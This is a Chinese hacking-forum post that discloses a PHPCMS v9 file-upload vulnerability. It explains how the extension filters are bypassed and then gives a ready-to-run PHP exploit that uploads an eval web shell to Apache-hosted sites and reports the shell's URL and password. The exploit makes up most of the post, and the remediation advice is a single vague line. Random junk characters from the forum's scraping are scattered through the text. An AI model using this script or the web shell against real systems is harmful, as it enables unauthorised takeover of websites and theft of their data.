找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2194|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
8 d  v, A# G2 G6 D2 c0 v* ]9 h; R( l! b
简要描述:
% ?+ C9 A* D* V! a, F; F
- I/ g5 o, V2 k4 F2 b+ ~phpcms v9 getshell (apache)
7 c8 M% ], z/ X6 C详细说明:% G# j) v1 T0 ?) n2 R; R% O) d
/ [0 S. z- N. ?. ^; `
漏洞文件:phpcms\modules\attachment\attachments.php
7 n: w% {9 X0 v/ H. S* H: W0 h9 y/ q) j8 l4 l. I3 U; g/ T
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } / o: Q. q$ g5 y3 _7 h# Q
后缀检测:phpcms\modules\attachment\functions\global.func.php
/ D$ N3 G4 t" ]; v& A
$ o: e2 S  Y5 d
5 v  p5 x' c7 c- b  w1 |9 r5 I* j" B; ?
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  0 _5 x% L: N, k& D" d
" G6 P9 I* u, Z# L0 o( @
关键函数:1 J! _. \# p* J+ k; M
$ S0 w. \9 Y6 W3 ?
+ L1 w! g& C% {/ Q3 i& X

2 F6 L( v! R: E# [7 n& U! |function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  7 Q% R" E$ d! E! g1 W
& w" [! @& A- S
  Fileext函数是对文件后缀名的提取。) E) x2 h9 ^, k4 e0 M* `
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
! R+ p4 G9 S7 S- ~7 w) n( E经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。$ b' y, n/ G# K, w
我们回到public function crop_upload() 函数中
7 _& b+ Y: ]" A* J% W" d) L0 dif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();9 Q+ l$ q0 E! D8 S3 a
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数5 I0 Q( i0 S3 c' U
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
: @0 L4 D, P- R6 [5 T5 S' E8 \经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
/ p5 q4 [: X- v+ ^( G/ `' R最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。5 A/ x7 B' r7 ~# _
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。' }! P4 C4 j7 U: b% V2 ?
漏洞证明:8 S( \, G: w; ~$ _! v/ r
% ?3 y3 C5 o  Z+ u$ P7 D1 z$ M
exp:0 G4 L8 a2 m! G+ V( Z  O7 |

6 O* r  k' u0 O; J$ c/ P. y<?php2 q5 r: g/ C1 V! P7 F, F% L: E9 i# z" Q
error_reporting(E_ERROR);; i, x8 ^( `+ S3 |* Z
set_time_limit(0);
2 s/ Z* `/ Z6 |! d$ H2 y$pass="ln";8 X1 N2 ?' p1 ~% ^1 j1 i
print_r('
, Q7 |, |. J4 o+---------------------------------------------------------------------------+6 B, N- X; e9 L! ^5 j# M+ d
PHPCms V9 GETSHELL 0DAY
9 W4 s2 W9 T: l+ T4 [9 w6 Ccode by L.N.
" c% t- ~0 W  L; N! v- k+ H) ]
& T9 A7 ]7 M7 A! Aapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net' V0 Q& O. e6 ?% }4 b' k5 d7 a
+---------------------------------------------------------------------------+7 _7 I" D. Q! E8 A! t# |  j% t1 Z" ]
');
( W2 S; q5 x6 o7 [2 |! {if ($argc < 2) {
7 y, A2 q. {6 u3 u+ d3 Kprint_r('+ _% K, R8 `/ ]! t
+---------------------------------------------------------------------------+  g6 y  Q& q" q% l
Usage: php '.$argv[0].' url path% O6 v+ M8 b5 |! v" n

, P/ a/ e  m6 RExample:
8 o& ~3 V/ h# I5 d1 H4 ^. l( m! B, J1 z1.php '.$argv[0].' lanu.sinaapp.com7 S" b, a' |7 p6 M" S* q5 m
2.php '.$argv[0].' lanu.sinaapp.com /phpcms. C; u  T1 t3 g7 j" l0 B4 d
+---------------------------------------------------------------------------+
0 {+ {3 r- F2 C* Z$ U');: z7 ]+ p3 R+ Q7 w
exit;+ W8 M) V% H0 w2 T- a9 \
}
3 E' ]. G+ e# x& V  W1 ~, Z+ _6 T  F, D) S
$url = $argv[1];+ B8 Q5 a% Q; O  B
$path = $argv[2];
5 C/ d3 n: u# D; u" J! H0 a$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';  z0 m! w( Y+ v- w+ I
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';$ |1 ?# k. S* b; b  J% \  G
if($ret=Create_dir($url,$path)), }6 [/ }8 |( A2 }  k/ `# e* l
{
+ C) H) G0 K0 @: W+ k//echo $ret;
* U" p$ P# s  t, R. m$pattern = "|Server:[^,]+?|U";
4 {  D: F$ Q+ b" O( ^" N! upreg_match_all($pattern, $ret, $matches);
* v8 l2 X- u* Q2 cif($matches[0][0])
# d8 `8 k: w. K0 I{
/ Z6 Z. _  C  g5 \2 ^5 v6 Bif(strpos($matches[0][0],'Apache') == false)
* t. T6 @, t& p# Y9 L{7 i8 q1 v) b0 ^# q
echo "\n亲!此网站不是apache的网站。\n";exit;
( l' b' d  J4 D2 I& u}
1 S! i& c& R! b- r" ~! ]}* r6 @  N* o# e9 F/ K2 w
$ret = GetShell($url,$phpshell,$path,$file);
) H( Y( r1 _% n7 H$pattern = "|http:\/\/[^,]+?\.,?|U";5 S8 [# d, q2 |0 ]. J
preg_match_all($pattern, $ret, $matches);
) `9 b; ~% y# v; C) u& T2 Lif($matches[0][0])
: A: Q5 g( H$ ?' a; e# U& ]{
2 e# C" G4 n' D; kecho "\n".'密码为: '.$pass."\n";, u" x# J$ O! h, x. t" U8 G
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
8 U, u& Z% e0 a. Z9 u& o}
- K. f, {1 w; b6 ~, eelse
" N1 C' Q4 }# k5 H{
, U. \  N( G! r5 d# X" O, ?$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
- q8 y+ x9 u, d0 I$ W, Xpreg_match_all($pattern, $ret, $matches);
+ R+ \8 ~# C% g6 m+ g  p& x" Nif($matches[0][0])
7 n0 @. }1 k* w{
# _7 E3 @+ ]7 hecho "\n".'密码为: '.$pass."\n";
2 K" y4 `: u- t. M3 Yecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
9 ~6 g% `/ k2 \' o! S}: ?" v) Z3 H3 A$ q) p5 p% y
else
3 B% O4 R0 X, V# B{
% R" K, `9 J# r! l) P( F  K+ F8 cecho "\r\n没得到!\n";exit;
3 ]) K3 \$ t8 b" r}, w/ ]( _9 Y. n  C" H
}
% O% ~5 @$ Y  G' _) e% i6 W  W}
) E! C+ I: T+ U% C
4 n# r' `- \0 |0 Q, V9 t0 Sfunction GetShell($url,$shell,$path,$js)
9 G4 X7 J4 n& X, U# r6 A& y{
; x# C% ]# N8 M# H" P* {$content =$shell;
) c( a* s% z! G3 W$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";2 A- i8 L0 d- r+ e5 @
$data .= "Host: ".$url."\r\n";* c5 b& x6 i. o" b% U3 d
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ Z6 a) Z' U6 R: |
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  x& W6 e- D! p* M9 y$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
5 f* j% s2 l; X& r( M% I+ @$data .= "Connection: close\r\n";  m' i' _, P% i  o7 Q6 N
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
9 Z* j: u4 Z# b$data .= $content."\r\n";) ]) l8 E" J) X" n4 v
$ock=fsockopen($url,80);
) y- t7 T. V  B0 F6 Z6 l& q, a9 L) ~if (!$ock)
' k; ?1 D0 r6 ~4 o: ?{
2 w% N+ }3 C& W$ m, G$ Decho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
. q7 y7 O0 A4 U5 E- I7 r}
' v1 F$ |" D. W7 H. U7 Melse
+ h1 B$ h, w' p" b8 v{
0 J! J" ?$ ~6 C# q6 pfwrite($ock,$data);' @- B& m+ g/ ^
$resp = '';
! J4 Q8 K9 V+ Z* Q$ s; lwhile (!feof($ock))$ K% c+ i  r! W# b. k, Z; @
{
- t" p1 Z  ]! U' `$resp.=fread($ock, 1024);8 P' S, M  p" n0 ?% G- [( U& b1 E
}$ ^4 n5 s8 X2 @9 L4 B
return $resp;
3 s* f/ f4 D- R: p) ~! A  H}
2 T2 c0 e$ a9 f7 J) Z- e}7 O) G9 {$ k, v$ `- A3 R
- [: j; M; _' U
function Create_dir($url,$path='')
; S. X# g& V7 r: W{
, ]3 P, m) G' C2 V+ b) b% l& n! K$content ='I love you';
7 m2 E, U4 [* d" m3 E1 W! {$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
4 J+ ~3 `; {* o! Q( J0 a' |6 ?$data .= "Host: ".$url."\r\n";: s8 `* \, J5 \1 H9 t
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$ V0 o: v: I& ~. c' m1 ~5 A7 }# U$ g2 B$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";1 F6 m3 F6 ]! r7 n- ?. L
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";. u* _! {. O3 u* @) L1 J3 z; c+ _
$data .= "Connection: close\r\n";
% P3 K' K/ p+ |- ^' V4 c/ b! o0 f0 H$data .= "Content-Length: ".strlen($content)."\r\n\r\n";% k. j* Y" p' q; P( `1 u. i
$data .= $content."\r\n";
: y  N6 O/ F3 @$ock=fsockopen($url,80);, h, m) q! q" U0 Z' r' C; D, b9 w' K
if (!$ock)6 X! }, ?5 o) X% I. H
{, S( H. E. O/ w- p
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
* h: Q% H8 j3 u# |5 j, z6 f}0 U; N+ \- V, b! E3 A5 n
fwrite($ock,$data);
. v* t; K: k0 b+ F8 o$resp = '';
( T% m  E( \) b+ z; ~, qwhile (!feof($ock))& w- e, o- F5 E6 [- ^
{$ C, y) o+ ^* W
$resp.=fread($ock, 1024);. l8 \! F/ y& K, b& E
}$ X4 H+ R# c8 P- J
return $resp;
5 r3 ^5 ]& w% }2 t* p}
9 C. H! t3 J0 S?>
2 V1 A& J& a* o  m  A 4 y& w3 r6 x0 Z$ x, J
修复方案:
7 l7 U% F; a2 A! F& i$ R
& h( y" S) q4 v/ D) g3 R/ ]$ S过滤过滤再过滤
8 i3 v) O" w* Z+ z- ~9 d: ?4 F: r  z7 E' D: r) p( D  w& a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表